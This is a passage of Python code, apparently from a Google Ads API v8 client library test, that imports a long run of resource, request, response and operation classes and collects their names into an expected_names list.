expected_names.append(AgeRangeView.__name__) from google.ads.googleads.v8 import Asset expected_names.append(Asset.__name__) from google.ads.googleads.v8 import AssetPolicySummary expected_names.append(AssetPolicySummary.__name__) from google.ads.googleads.v8 import AssetFieldTypeView expected_names.append(AssetFieldTypeView.__name__) from google.ads.googleads.v8 import BatchJob expected_names.append(BatchJob.__name__) from google.ads.googleads.v8 import BiddingDataExclusion expected_names.append(BiddingDataExclusion.__name__) from google.ads.googleads.v8 import BiddingSeasonalityAdjustment expected_names.append(BiddingSeasonalityAdjustment.__name__) from google.ads.googleads.v8 import BiddingStrategy expected_names.append(BiddingStrategy.__name__) from google.ads.googleads.v8 import BiddingStrategySimulation expected_names.append(BiddingStrategySimulation.__name__) from google.ads.googleads.v8 import BillingSetup expected_names.append(BillingSetup.__name__) from google.ads.googleads.v8 import CallView expected_names.append(CallView.__name__) from google.ads.googleads.v8 import Campaign expected_names.append(Campaign.__name__) from google.ads.googleads.v8 import CampaignAsset expected_names.append(CampaignAsset.__name__) from google.ads.googleads.v8 import CampaignAudienceView expected_names.append(CampaignAudienceView.__name__) from google.ads.googleads.v8 import CampaignBidModifier expected_names.append(CampaignBidModifier.__name__) from google.ads.googleads.v8 import CampaignBudget expected_names.append(CampaignBudget.__name__) from google.ads.googleads.v8 import CampaignCriterion expected_names.append(CampaignCriterion.__name__) from google.ads.googleads.v8 import CampaignCriterionSimulation expected_names.append(CampaignCriterionSimulation.__name__) from google.ads.googleads.v8 import CampaignDraft expected_names.append(CampaignDraft.__name__) from google.ads.googleads.v8 import CampaignExperiment expected_names.append(CampaignExperiment.__name__) from google.ads.googleads.v8 import CampaignExtensionSetting expected_names.append(CampaignExtensionSetting.__name__) from google.ads.googleads.v8 import CampaignFeed expected_names.append(CampaignFeed.__name__) from google.ads.googleads.v8 import CampaignLabel expected_names.append(CampaignLabel.__name__) from google.ads.googleads.v8 import CampaignSharedSet expected_names.append(CampaignSharedSet.__name__) from google.ads.googleads.v8 import CampaignSimulation expected_names.append(CampaignSimulation.__name__) from google.ads.googleads.v8 import CarrierConstant expected_names.append(CarrierConstant.__name__) from google.ads.googleads.v8 import CustomerAsset expected_names.append(CustomerAsset.__name__) from google.ads.googleads.v8 import Feed expected_names.append(Feed.__name__) from google.ads.googleads.v8 import FeedAttribute expected_names.append(FeedAttribute.__name__) from google.ads.googleads.v8 import FeedAttributeOperation expected_names.append(FeedAttributeOperation.__name__) from google.ads.googleads.v8 import FeedItem expected_names.append(FeedItem.__name__) from google.ads.googleads.v8 import FeedItemAttributeValue expected_names.append(FeedItemAttributeValue.__name__) from google.ads.googleads.v8 import FeedItemPlaceholderPolicyInfo expected_names.append(FeedItemPlaceholderPolicyInfo.__name__) from google.ads.googleads.v8 import FeedItemValidationError expected_names.append(FeedItemValidationError.__name__) from google.ads.googleads.v8 import ChangeEvent expected_names.append(ChangeEvent.__name__) from google.ads.googleads.v8 import ChangeStatus expected_names.append(ChangeStatus.__name__) from google.ads.googleads.v8 import ClickView expected_names.append(ClickView.__name__) from google.ads.googleads.v8 import CombinedAudience expected_names.append(CombinedAudience.__name__) from google.ads.googleads.v8 import ConversionAction expected_names.append(ConversionAction.__name__) from google.ads.googleads.v8 import ConversionCustomVariable expected_names.append(ConversionCustomVariable.__name__) from google.ads.googleads.v8 import ConversionValueRule expected_names.append(ConversionValueRule.__name__) from google.ads.googleads.v8 import ConversionValueRuleSet expected_names.append(ConversionValueRuleSet.__name__) from google.ads.googleads.v8 import CurrencyConstant expected_names.append(CurrencyConstant.__name__) from google.ads.googleads.v8 import CustomAudience expected_names.append(CustomAudience.__name__) from google.ads.googleads.v8 import CustomAudienceMember expected_names.append(CustomAudienceMember.__name__) from google.ads.googleads.v8 import CustomInterest expected_names.append(CustomInterest.__name__) from google.ads.googleads.v8 import CustomInterestMember expected_names.append(CustomInterestMember.__name__) from google.ads.googleads.v8 import Customer expected_names.append(Customer.__name__) from google.ads.googleads.v8 import CallReportingSetting expected_names.append(CallReportingSetting.__name__) from google.ads.googleads.v8 import ConversionTrackingSetting expected_names.append(ConversionTrackingSetting.__name__) from google.ads.googleads.v8 import RemarketingSetting expected_names.append(RemarketingSetting.__name__) from google.ads.googleads.v8 import CustomerClient expected_names.append(CustomerClient.__name__) from google.ads.googleads.v8 import CustomerClientLink expected_names.append(CustomerClientLink.__name__) from google.ads.googleads.v8 import CustomerExtensionSetting expected_names.append(CustomerExtensionSetting.__name__) from google.ads.googleads.v8 import CustomerFeed expected_names.append(CustomerFeed.__name__) from google.ads.googleads.v8 import CustomerLabel expected_names.append(CustomerLabel.__name__) from google.ads.googleads.v8 import CustomerManagerLink expected_names.append(CustomerManagerLink.__name__) from google.ads.googleads.v8 import CustomerNegativeCriterion expected_names.append(CustomerNegativeCriterion.__name__) from google.ads.googleads.v8 import CustomerUserAccess expected_names.append(CustomerUserAccess.__name__) from google.ads.googleads.v8 import CustomerUserAccessInvitation expected_names.append(CustomerUserAccessInvitation.__name__) from google.ads.googleads.v8 import DetailPlacementView expected_names.append(DetailPlacementView.__name__) from google.ads.googleads.v8 import DetailedDemographic expected_names.append(DetailedDemographic.__name__) from google.ads.googleads.v8 import DisplayKeywordView expected_names.append(DisplayKeywordView.__name__) from google.ads.googleads.v8 import DistanceView expected_names.append(DistanceView.__name__) from google.ads.googleads.v8 import DomainCategory expected_names.append(DomainCategory.__name__) from google.ads.googleads.v8 import DynamicSearchAdsSearchTermView expected_names.append(DynamicSearchAdsSearchTermView.__name__) from google.ads.googleads.v8 import ExpandedLandingPageView expected_names.append(ExpandedLandingPageView.__name__) from google.ads.googleads.v8 import ExtensionFeedItem expected_names.append(ExtensionFeedItem.__name__) from google.ads.googleads.v8 import FeedItemSet expected_names.append(FeedItemSet.__name__) from google.ads.googleads.v8 import FeedItemSetLink expected_names.append(FeedItemSetLink.__name__) from google.ads.googleads.v8 import FeedItemTarget expected_names.append(FeedItemTarget.__name__) from google.ads.googleads.v8 import FeedMapping expected_names.append(FeedMapping.__name__) from google.ads.googleads.v8 import AttributeFieldMapping expected_names.append(AttributeFieldMapping.__name__) from google.ads.googleads.v8 import FeedPlaceholderView expected_names.append(FeedPlaceholderView.__name__) from google.ads.googleads.v8 import GenderView expected_names.append(GenderView.__name__) from google.ads.googleads.v8 import GeoTargetConstant expected_names.append(GeoTargetConstant.__name__) from google.ads.googleads.v8 import GeographicView expected_names.append(GeographicView.__name__) from google.ads.googleads.v8 import GoogleAdsField expected_names.append(GoogleAdsField.__name__) from google.ads.googleads.v8 import GroupPlacementView expected_names.append(GroupPlacementView.__name__) from google.ads.googleads.v8 import HotelGroupView expected_names.append(HotelGroupView.__name__) from google.ads.googleads.v8 import HotelPerformanceView expected_names.append(HotelPerformanceView.__name__) from google.ads.googleads.v8 import IncomeRangeView expected_names.append(IncomeRangeView.__name__) from google.ads.googleads.v8 import Invoice expected_names.append(Invoice.__name__) from google.ads.googleads.v8 import KeywordPlan expected_names.append(KeywordPlan.__name__) from google.ads.googleads.v8 import KeywordPlanForecastPeriod expected_names.append(KeywordPlanForecastPeriod.__name__) from google.ads.googleads.v8 import KeywordPlanAdGroup expected_names.append(KeywordPlanAdGroup.__name__) from google.ads.googleads.v8 import KeywordPlanAdGroupKeyword expected_names.append(KeywordPlanAdGroupKeyword.__name__) from google.ads.googleads.v8 import KeywordPlanCampaign expected_names.append(KeywordPlanCampaign.__name__) from google.ads.googleads.v8 import KeywordPlanGeoTarget expected_names.append(KeywordPlanGeoTarget.__name__) from google.ads.googleads.v8 import KeywordPlanCampaignKeyword expected_names.append(KeywordPlanCampaignKeyword.__name__) from google.ads.googleads.v8 import KeywordThemeConstant expected_names.append(KeywordThemeConstant.__name__) from google.ads.googleads.v8 import KeywordView expected_names.append(KeywordView.__name__) from google.ads.googleads.v8 import Label expected_names.append(Label.__name__) from google.ads.googleads.v8 import LandingPageView expected_names.append(LandingPageView.__name__) from google.ads.googleads.v8 import LanguageConstant expected_names.append(LanguageConstant.__name__) from google.ads.googleads.v8 import LifeEvent expected_names.append(LifeEvent.__name__) from google.ads.googleads.v8 import LocationView expected_names.append(LocationView.__name__) from google.ads.googleads.v8 import ManagedPlacementView expected_names.append(ManagedPlacementView.__name__) from google.ads.googleads.v8 import MediaFile expected_names.append(MediaFile.__name__) from google.ads.googleads.v8 import MediaImage expected_names.append(MediaImage.__name__) from google.ads.googleads.v8 import MediaBundle expected_names.append(MediaBundle.__name__) from google.ads.googleads.v8 import MediaAudio expected_names.append(MediaAudio.__name__) from google.ads.googleads.v8 import MediaVideo expected_names.append(MediaVideo.__name__) from google.ads.googleads.v8 import MerchantCenterLink expected_names.append(MerchantCenterLink.__name__) from google.ads.googleads.v8 import MobileAppCategoryConstant expected_names.append(MobileAppCategoryConstant.__name__) from google.ads.googleads.v8 import MobileDeviceConstant expected_names.append(MobileDeviceConstant.__name__) from google.ads.googleads.v8 import OfflineUserDataJob expected_names.append(OfflineUserDataJob.__name__) from google.ads.googleads.v8 import OperatingSystemVersionConstant expected_names.append(OperatingSystemVersionConstant.__name__) from google.ads.googleads.v8 import PaidOrganicSearchTermView expected_names.append(PaidOrganicSearchTermView.__name__) from google.ads.googleads.v8 import ParentalStatusView expected_names.append(ParentalStatusView.__name__) from google.ads.googleads.v8 import PaymentsAccount expected_names.append(PaymentsAccount.__name__) from google.ads.googleads.v8 import ProductBiddingCategoryConstant expected_names.append(ProductBiddingCategoryConstant.__name__) from google.ads.googleads.v8 import ProductGroupView expected_names.append(ProductGroupView.__name__) from google.ads.googleads.v8 import Recommendation expected_names.append(Recommendation.__name__) from google.ads.googleads.v8 import RemarketingAction expected_names.append(RemarketingAction.__name__) from google.ads.googleads.v8 import SearchTermView expected_names.append(SearchTermView.__name__) from google.ads.googleads.v8 import SharedCriterion expected_names.append(SharedCriterion.__name__) from google.ads.googleads.v8 import SharedSet expected_names.append(SharedSet.__name__) from google.ads.googleads.v8 import ShoppingPerformanceView expected_names.append(ShoppingPerformanceView.__name__) from google.ads.googleads.v8 import SmartCampaignSearchTermView expected_names.append(SmartCampaignSearchTermView.__name__) from google.ads.googleads.v8 import SmartCampaignSetting expected_names.append(SmartCampaignSetting.__name__) from google.ads.googleads.v8 import ThirdPartyAppAnalyticsLink expected_names.append(ThirdPartyAppAnalyticsLink.__name__) from google.ads.googleads.v8 import TopicConstant expected_names.append(TopicConstant.__name__) from google.ads.googleads.v8 import TopicView expected_names.append(TopicView.__name__) from google.ads.googleads.v8 import UserInterest expected_names.append(UserInterest.__name__) from google.ads.googleads.v8 import UserList expected_names.append(UserList.__name__) from google.ads.googleads.v8 import UserLocationView expected_names.append(UserLocationView.__name__) from google.ads.googleads.v8 import Video expected_names.append(Video.__name__) from google.ads.googleads.v8 import WebpageView expected_names.append(WebpageView.__name__) from google.ads.googleads.v8 import GetAccessibleBiddingStrategyRequest expected_names.append(GetAccessibleBiddingStrategyRequest.__name__) from google.ads.googleads.v8 import GetAccountBudgetProposalRequest expected_names.append(GetAccountBudgetProposalRequest.__name__) from google.ads.googleads.v8 import MutateAccountBudgetProposalRequest expected_names.append(MutateAccountBudgetProposalRequest.__name__) from google.ads.googleads.v8 import AccountBudgetProposalOperation expected_names.append(AccountBudgetProposalOperation.__name__) from google.ads.googleads.v8 import MutateAccountBudgetProposalResponse expected_names.append(MutateAccountBudgetProposalResponse.__name__) from google.ads.googleads.v8 import MutateAccountBudgetProposalResult expected_names.append(MutateAccountBudgetProposalResult.__name__) from google.ads.googleads.v8 import GetAccountBudgetRequest expected_names.append(GetAccountBudgetRequest.__name__) from google.ads.googleads.v8 import GetAccountLinkRequest expected_names.append(GetAccountLinkRequest.__name__) from google.ads.googleads.v8 import CreateAccountLinkRequest expected_names.append(CreateAccountLinkRequest.__name__) from google.ads.googleads.v8 import CreateAccountLinkResponse expected_names.append(CreateAccountLinkResponse.__name__) from google.ads.googleads.v8 import MutateAccountLinkRequest expected_names.append(MutateAccountLinkRequest.__name__) from google.ads.googleads.v8 import AccountLinkOperation expected_names.append(AccountLinkOperation.__name__) from google.ads.googleads.v8 import MutateAccountLinkResponse expected_names.append(MutateAccountLinkResponse.__name__) from google.ads.googleads.v8 import MutateAccountLinkResult expected_names.append(MutateAccountLinkResult.__name__) from google.ads.googleads.v8 import GetAdGroupAdAssetViewRequest expected_names.append(GetAdGroupAdAssetViewRequest.__name__) from google.ads.googleads.v8 import GetAdGroupAdLabelRequest expected_names.append(GetAdGroupAdLabelRequest.__name__) from google.ads.googleads.v8 import MutateAdGroupAdLabelsRequest expected_names.append(MutateAdGroupAdLabelsRequest.__name__) from google.ads.googleads.v8 import AdGroupAdLabelOperation expected_names.append(AdGroupAdLabelOperation.__name__) from google.ads.googleads.v8 import MutateAdGroupAdLabelsResponse expected_names.append(MutateAdGroupAdLabelsResponse.__name__) from google.ads.googleads.v8 import MutateAdGroupAdLabelResult expected_names.append(MutateAdGroupAdLabelResult.__name__) from google.ads.googleads.v8 import GetAdGroupAdRequest expected_names.append(GetAdGroupAdRequest.__name__) from google.ads.googleads.v8 import MutateAdGroupAdsRequest expected_names.append(MutateAdGroupAdsRequest.__name__) from google.ads.googleads.v8 import AdGroupAdOperation expected_names.append(AdGroupAdOperation.__name__) from google.ads.googleads.v8 import MutateAdGroupAdsResponse expected_names.append(MutateAdGroupAdsResponse.__name__) from google.ads.googleads.v8 import MutateAdGroupAdResult expected_names.append(MutateAdGroupAdResult.__name__) from google.ads.googleads.v8 import GetAdGroupAssetRequest expected_names.append(GetAdGroupAssetRequest.__name__) from google.ads.googleads.v8 import MutateAdGroupAssetsRequest expected_names.append(MutateAdGroupAssetsRequest.__name__) from google.ads.googleads.v8 import AdGroupAssetOperation expected_names.append(AdGroupAssetOperation.__name__) from google.ads.googleads.v8 import MutateAdGroupAssetsResponse expected_names.append(MutateAdGroupAssetsResponse.__name__) from google.ads.googleads.v8 import MutateAdGroupAssetResult expected_names.append(MutateAdGroupAssetResult.__name__) from google.ads.googleads.v8 import GetAdGroupAudienceViewRequest expected_names.append(GetAdGroupAudienceViewRequest.__name__) from google.ads.googleads.v8 import GetAdGroupBidModifierRequest expected_names.append(GetAdGroupBidModifierRequest.__name__) from google.ads.googleads.v8 import MutateAdGroupBidModifiersRequest expected_names.append(MutateAdGroupBidModifiersRequest.__name__) from google.ads.googleads.v8 import AdGroupBidModifierOperation expected_names.append(AdGroupBidModifierOperation.__name__) from google.ads.googleads.v8 import MutateAdGroupBidModifiersResponse expected_names.append(MutateAdGroupBidModifiersResponse.__name__) from google.ads.googleads.v8 import MutateAdGroupBidModifierResult expected_names.append(MutateAdGroupBidModifierResult.__name__) from google.ads.googleads.v8 import GetAdGroupCriterionLabelRequest expected_names.append(GetAdGroupCriterionLabelRequest.__name__) from google.ads.googleads.v8 import MutateAdGroupCriterionLabelsRequest expected_names.append(MutateAdGroupCriterionLabelsRequest.__name__) from google.ads.googleads.v8 import AdGroupCriterionLabelOperation expected_names.append(AdGroupCriterionLabelOperation.__name__) from google.ads.googleads.v8 import MutateAdGroupCriterionLabelsResponse expected_names.append(MutateAdGroupCriterionLabelsResponse.__name__) from google.ads.googleads.v8 import MutateAdGroupCriterionLabelResult expected_names.append(MutateAdGroupCriterionLabelResult.__name__) from google.ads.googleads.v8 import GetAdGroupCriterionRequest expected_names.append(GetAdGroupCriterionRequest.__name__) from google.ads.googleads.v8 import MutateAdGroupCriteriaRequest expected_names.append(MutateAdGroupCriteriaRequest.__name__) from google.ads.googleads.v8 import AdGroupCriterionOperation expected_names.append(AdGroupCriterionOperation.__name__) from google.ads.googleads.v8 import MutateAdGroupCriteriaResponse expected_names.append(MutateAdGroupCriteriaResponse.__name__) from google.ads.googleads.v8 import MutateAdGroupCriterionResult expected_names.append(MutateAdGroupCriterionResult.__name__) from google.ads.googleads.v8 import GetAdGroupCriterionSimulationRequest expected_names.append(GetAdGroupCriterionSimulationRequest.__name__) from google.ads.googleads.v8 import GetAdGroupExtensionSettingRequest expected_names.append(GetAdGroupExtensionSettingRequest.__name__) from google.ads.googleads.v8 import MutateAdGroupExtensionSettingsRequest expected_names.append(MutateAdGroupExtensionSettingsRequest.__name__) from google.ads.googleads.v8 import AdGroupExtensionSettingOperation expected_names.append(AdGroupExtensionSettingOperation.__name__) from google.ads.googleads.v8 import MutateAdGroupExtensionSettingsResponse expected_names.append(MutateAdGroupExtensionSettingsResponse.__name__) from google.ads.googleads.v8 import MutateAdGroupExtensionSettingResult expected_names.append(MutateAdGroupExtensionSettingResult.__name__) from google.ads.googleads.v8 import GetAdGroupFeedRequest expected_names.append(GetAdGroupFeedRequest.__name__) from google.ads.googleads.v8 import MutateAdGroupFeedsRequest expected_names.append(MutateAdGroupFeedsRequest.__name__) from google.ads.googleads.v8 import AdGroupFeedOperation expected_names.append(AdGroupFeedOperation.__name__) from google.ads.googleads.v8 import MutateAdGroupFeedsResponse expected_names.append(MutateAdGroupFeedsResponse.__name__) from google.ads.googleads.v8 import MutateAdGroupFeedResult expected_names.append(MutateAdGroupFeedResult.__name__) from google.ads.googleads.v8 import GetAdGroupLabelRequest expected_names.append(GetAdGroupLabelRequest.__name__) from google.ads.googleads.v8 import MutateAdGroupLabelsRequest expected_names.append(MutateAdGroupLabelsRequest.__name__) from google.ads.googleads.v8 import AdGroupLabelOperation expected_names.append(AdGroupLabelOperation.__name__) from google.ads.googleads.v8 import MutateAdGroupLabelsResponse expected_names.append(MutateAdGroupLabelsResponse.__name__) from google.ads.googleads.v8 import MutateAdGroupLabelResult expected_names.append(MutateAdGroupLabelResult.__name__) from google.ads.googleads.v8 import GetAdGroupRequest expected_names.append(GetAdGroupRequest.__name__) from google.ads.googleads.v8 import MutateAdGroupsRequest expected_names.append(MutateAdGroupsRequest.__name__) from google.ads.googleads.v8 import AdGroupOperation expected_names.append(AdGroupOperation.__name__) from google.ads.googleads.v8 import MutateAdGroupsResponse expected_names.append(MutateAdGroupsResponse.__name__) from google.ads.googleads.v8 import MutateAdGroupResult expected_names.append(MutateAdGroupResult.__name__) from google.ads.googleads.v8 import GetAdGroupSimulationRequest expected_names.append(GetAdGroupSimulationRequest.__name__) from google.ads.googleads.v8 import GetAdParameterRequest expected_names.append(GetAdParameterRequest.__name__) from google.ads.googleads.v8 import MutateAdParametersRequest expected_names.append(MutateAdParametersRequest.__name__) from google.ads.googleads.v8 import AdParameterOperation expected_names.append(AdParameterOperation.__name__) from google.ads.googleads.v8 import MutateAdParametersResponse expected_names.append(MutateAdParametersResponse.__name__) from google.ads.googleads.v8 import MutateAdParameterResult expected_names.append(MutateAdParameterResult.__name__) from google.ads.googleads.v8 import GetAdScheduleViewRequest expected_names.append(GetAdScheduleViewRequest.__name__) from google.ads.googleads.v8 import GetAdRequest expected_names.append(GetAdRequest.__name__) from google.ads.googleads.v8 import MutateAdsRequest expected_names.append(MutateAdsRequest.__name__) from google.ads.googleads.v8 import AdOperation expected_names.append(AdOperation.__name__) from google.ads.googleads.v8 import MutateAdsResponse expected_names.append(MutateAdsResponse.__name__) from google.ads.googleads.v8 import MutateAdResult expected_names.append(MutateAdResult.__name__) from google.ads.googleads.v8 import GetAgeRangeViewRequest expected_names.append(GetAgeRangeViewRequest.__name__) from google.ads.googleads.v8 import GetAssetFieldTypeViewRequest expected_names.append(GetAssetFieldTypeViewRequest.__name__) from google.ads.googleads.v8 import GetAssetRequest expected_names.append(GetAssetRequest.__name__) from google.ads.googleads.v8 import MutateAssetsRequest expected_names.append(MutateAssetsRequest.__name__) from google.ads.googleads.v8 import AssetOperation expected_names.append(AssetOperation.__name__) from google.ads.googleads.v8 import MutateAssetsResponse expected_names.append(MutateAssetsResponse.__name__) from google.ads.googleads.v8 import MutateAssetResult expected_names.append(MutateAssetResult.__name__) from google.ads.googleads.v8 import GetBiddingDataExclusionRequest expected_names.append(GetBiddingDataExclusionRequest.__name__) from google.ads.googleads.v8 import MutateBiddingDataExclusionsRequest expected_names.append(MutateBiddingDataExclusionsRequest.__name__) from google.ads.googleads.v8 import BiddingDataExclusionOperation expected_names.append(BiddingDataExclusionOperation.__name__) from google.ads.googleads.v8 import MutateBiddingDataExclusionsResponse expected_names.append(MutateBiddingDataExclusionsResponse.__name__) from google.ads.googleads.v8 import MutateBiddingDataExclusionsResult expected_names.append(MutateBiddingDataExclusionsResult.__name__) from google.ads.googleads.v8 import GetBiddingSeasonalityAdjustmentRequest expected_names.append(GetBiddingSeasonalityAdjustmentRequest.__name__) from google.ads.googleads.v8 import MutateBiddingSeasonalityAdjustmentsRequest expected_names.append(MutateBiddingSeasonalityAdjustmentsRequest.__name__) from google.ads.googleads.v8 import BiddingSeasonalityAdjustmentOperation expected_names.append(BiddingSeasonalityAdjustmentOperation.__name__) from google.ads.googleads.v8 import MutateBiddingSeasonalityAdjustmentsResponse expected_names.append(MutateBiddingSeasonalityAdjustmentsResponse.__name__) from google.ads.googleads.v8 import MutateBiddingSeasonalityAdjustmentsResult expected_names.append(MutateBiddingSeasonalityAdjustmentsResult.__name__) from google.ads.googleads.v8 import GetBiddingStrategyRequest expected_names.append(GetBiddingStrategyRequest.__name__) from google.ads.googleads.v8 import MutateBiddingStrategiesRequest expected_names.append(MutateBiddingStrategiesRequest.__name__) from google.ads.googleads.v8 import BiddingStrategyOperation expected_names.append(BiddingStrategyOperation.__name__) from google.ads.googleads.v8 import MutateBiddingStrategiesResponse expected_names.append(MutateBiddingStrategiesResponse.__name__) from google.ads.googleads.v8 import MutateBiddingStrategyResult expected_names.append(MutateBiddingStrategyResult.__name__) from google.ads.googleads.v8 import GetCampaignAssetRequest expected_names.append(GetCampaignAssetRequest.__name__) from google.ads.googleads.v8 import MutateCampaignAssetsRequest expected_names.append(MutateCampaignAssetsRequest.__name__) from google.ads.googleads.v8 import CampaignAssetOperation expected_names.append(CampaignAssetOperation.__name__) from google.ads.googleads.v8 import MutateCampaignAssetsResponse expected_names.append(MutateCampaignAssetsResponse.__name__) from google.ads.googleads.v8 import MutateCampaignAssetResult expected_names.append(MutateCampaignAssetResult.__name__) from google.ads.googleads.v8 import GetCampaignBidModifierRequest expected_names.append(GetCampaignBidModifierRequest.__name__) from google.ads.googleads.v8 import MutateCampaignBidModifiersRequest expected_names.append(MutateCampaignBidModifiersRequest.__name__) from google.ads.googleads.v8 import CampaignBidModifierOperation expected_names.append(CampaignBidModifierOperation.__name__) from google.ads.googleads.v8 import MutateCampaignBidModifiersResponse expected_names.append(MutateCampaignBidModifiersResponse.__name__) from google.ads.googleads.v8 import MutateCampaignBidModifierResult expected_names.append(MutateCampaignBidModifierResult.__name__) from google.ads.googleads.v8 import GetCampaignBudgetRequest expected_names.append(GetCampaignBudgetRequest.__name__) from google.ads.googleads.v8 import MutateCampaignBudgetsRequest expected_names.append(MutateCampaignBudgetsRequest.__name__) from google.ads.googleads.v8 import CampaignBudgetOperation expected_names.append(CampaignBudgetOperation.__name__) from google.ads.googleads.v8 import MutateCampaignBudgetsResponse expected_names.append(MutateCampaignBudgetsResponse.__name__) from google.ads.googleads.v8 import MutateCampaignBudgetResult expected_names.append(MutateCampaignBudgetResult.__name__) from google.ads.googleads.v8 import GetCampaignCriterionRequest expected_names.append(GetCampaignCriterionRequest.__name__) from google.ads.googleads.v8 import MutateCampaignCriteriaRequest expected_names.append(MutateCampaignCriteriaRequest.__name__) from google.ads.googleads.v8 import CampaignCriterionOperation expected_names.append(CampaignCriterionOperation.__name__) from google.ads.googleads.v8 import MutateCampaignCriteriaResponse expected_names.append(MutateCampaignCriteriaResponse.__name__) from google.ads.googleads.v8 import MutateCampaignCriterionResult expected_names.append(MutateCampaignCriterionResult.__name__) from google.ads.googleads.v8 import GetCampaignDraftRequest expected_names.append(GetCampaignDraftRequest.__name__) from google.ads.googleads.v8 import MutateCampaignDraftsRequest expected_names.append(MutateCampaignDraftsRequest.__name__) from google.ads.googleads.v8 import PromoteCampaignDraftRequest expected_names.append(PromoteCampaignDraftRequest.__name__) from google.ads.googleads.v8 import CampaignDraftOperation expected_names.append(CampaignDraftOperation.__name__) from google.ads.googleads.v8 import MutateCampaignDraftsResponse expected_names.append(MutateCampaignDraftsResponse.__name__) from google.ads.googleads.v8 import MutateCampaignDraftResult expected_names.append(MutateCampaignDraftResult.__name__) from google.ads.googleads.v8 import ListCampaignDraftAsyncErrorsRequest expected_names.append(ListCampaignDraftAsyncErrorsRequest.__name__) from google.ads.googleads.v8 import ListCampaignDraftAsyncErrorsResponse expected_names.append(ListCampaignDraftAsyncErrorsResponse.__name__) from google.ads.googleads.v8 import GetCampaignExperimentRequest expected_names.append(GetCampaignExperimentRequest.__name__) from google.ads.googleads.v8 import MutateCampaignExperimentsRequest expected_names.append(MutateCampaignExperimentsRequest.__name__) from google.ads.googleads.v8 import CampaignExperimentOperation expected_names.append(CampaignExperimentOperation.__name__) from google.ads.googleads.v8 import MutateCampaignExperimentsResponse expected_names.append(MutateCampaignExperimentsResponse.__name__) from google.ads.googleads.v8 import MutateCampaignExperimentResult expected_names.append(MutateCampaignExperimentResult.__name__) from google.ads.googleads.v8 import CreateCampaignExperimentRequest expected_names.append(CreateCampaignExperimentRequest.__name__) from google.ads.googleads.v8 import CreateCampaignExperimentMetadata expected_names.append(CreateCampaignExperimentMetadata.__name__) from google.ads.googleads.v8 import GraduateCampaignExperimentRequest expected_names.append(GraduateCampaignExperimentRequest.__name__) from google.ads.googleads.v8 import GraduateCampaignExperimentResponse expected_names.append(GraduateCampaignExperimentResponse.__name__) from google.ads.googleads.v8 import PromoteCampaignExperimentRequest expected_names.append(PromoteCampaignExperimentRequest.__name__) from google.ads.googleads.v8 import EndCampaignExperimentRequest expected_names.append(EndCampaignExperimentRequest.__name__) from google.ads.googleads.v8 import ListCampaignExperimentAsyncErrorsRequest expected_names.append(ListCampaignExperimentAsyncErrorsRequest.__name__) from google.ads.googleads.v8 import ListCampaignExperimentAsyncErrorsResponse expected_names.append(ListCampaignExperimentAsyncErrorsResponse.__name__) from google.ads.googleads.v8 import GetCampaignExtensionSettingRequest expected_names.append(GetCampaignExtensionSettingRequest.__name__) from google.ads.googleads.v8 import MutateCampaignExtensionSettingsRequest expected_names.append(MutateCampaignExtensionSettingsRequest.__name__) from google.ads.googleads.v8 import CampaignExtensionSettingOperation expected_names.append(CampaignExtensionSettingOperation.__name__) from google.ads.googleads.v8 import MutateCampaignExtensionSettingsResponse expected_names.append(MutateCampaignExtensionSettingsResponse.__name__) from google.ads.googleads.v8 import MutateCampaignExtensionSettingResult expected_names.append(MutateCampaignExtensionSettingResult.__name__) from google.ads.googleads.v8 import GetCampaignFeedRequest expected_names.append(GetCampaignFeedRequest.__name__) from google.ads.googleads.v8 import MutateCampaignFeedsRequest expected_names.append(MutateCampaignFeedsRequest.__name__) from google.ads.googleads.v8 import CampaignFeedOperation expected_names.append(CampaignFeedOperation.__name__) from google.ads.googleads.v8 import MutateCampaignFeedsResponse expected_names.append(MutateCampaignFeedsResponse.__name__) from google.ads.googleads.v8 import MutateCampaignFeedResult expected_names.append(MutateCampaignFeedResult.__name__) from google.ads.googleads.v8 import GetCampaignLabelRequest expected_names.append(GetCampaignLabelRequest.__name__) from google.ads.googleads.v8 import MutateCampaignLabelsRequest expected_names.append(MutateCampaignLabelsRequest.__name__) from google.ads.googleads.v8 import CampaignLabelOperation expected_names.append(CampaignLabelOperation.__name__) from google.ads.googleads.v8 import MutateCampaignLabelsResponse expected_names.append(MutateCampaignLabelsResponse.__name__) from google.ads.googleads.v8 import MutateCampaignLabelResult expected_names.append(MutateCampaignLabelResult.__name__) from google.ads.googleads.v8 import GetCampaignRequest expected_names.append(GetCampaignRequest.__name__) from google.ads.googleads.v8 import MutateCampaignsRequest expected_names.append(MutateCampaignsRequest.__name__) from google.ads.googleads.v8 import CampaignOperation expected_names.append(CampaignOperation.__name__) from google.ads.googleads.v8 import MutateCampaignsResponse expected_names.append(MutateCampaignsResponse.__name__) from google.ads.googleads.v8 import MutateCampaignResult expected_names.append(MutateCampaignResult.__name__) from google.ads.googleads.v8 import GetCampaignSharedSetRequest expected_names.append(GetCampaignSharedSetRequest.__name__) from google.ads.googleads.v8 import MutateCampaignSharedSetsRequest expected_names.append(MutateCampaignSharedSetsRequest.__name__) from google.ads.googleads.v8 import CampaignSharedSetOperation expected_names.append(CampaignSharedSetOperation.__name__) from google.ads.googleads.v8 import MutateCampaignSharedSetsResponse expected_names.append(MutateCampaignSharedSetsResponse.__name__) from google.ads.googleads.v8 import MutateCampaignSharedSetResult expected_names.append(MutateCampaignSharedSetResult.__name__) from google.ads.googleads.v8 import GetConversionActionRequest expected_names.append(GetConversionActionRequest.__name__) from google.ads.googleads.v8 import MutateConversionActionsRequest expected_names.append(MutateConversionActionsRequest.__name__) from google.ads.googleads.v8 import ConversionActionOperation expected_names.append(ConversionActionOperation.__name__) from google.ads.googleads.v8 import MutateConversionActionsResponse expected_names.append(MutateConversionActionsResponse.__name__) from google.ads.googleads.v8 import MutateConversionActionResult expected_names.append(MutateConversionActionResult.__name__) from google.ads.googleads.v8 import GetConversionCustomVariableRequest expected_names.append(GetConversionCustomVariableRequest.__name__) from google.ads.googleads.v8 import MutateConversionCustomVariablesRequest expected_names.append(MutateConversionCustomVariablesRequest.__name__) from google.ads.googleads.v8 import ConversionCustomVariableOperation expected_names.append(ConversionCustomVariableOperation.__name__) from google.ads.googleads.v8 import MutateConversionCustomVariablesResponse expected_names.append(MutateConversionCustomVariablesResponse.__name__) from google.ads.googleads.v8 import MutateConversionCustomVariableResult expected_names.append(MutateConversionCustomVariableResult.__name__) from google.ads.googleads.v8 import GetConversionValueRuleRequest expected_names.append(GetConversionValueRuleRequest.__name__) from google.ads.googleads.v8 import MutateConversionValueRulesRequest expected_names.append(MutateConversionValueRulesRequest.__name__) from google.ads.googleads.v8 import 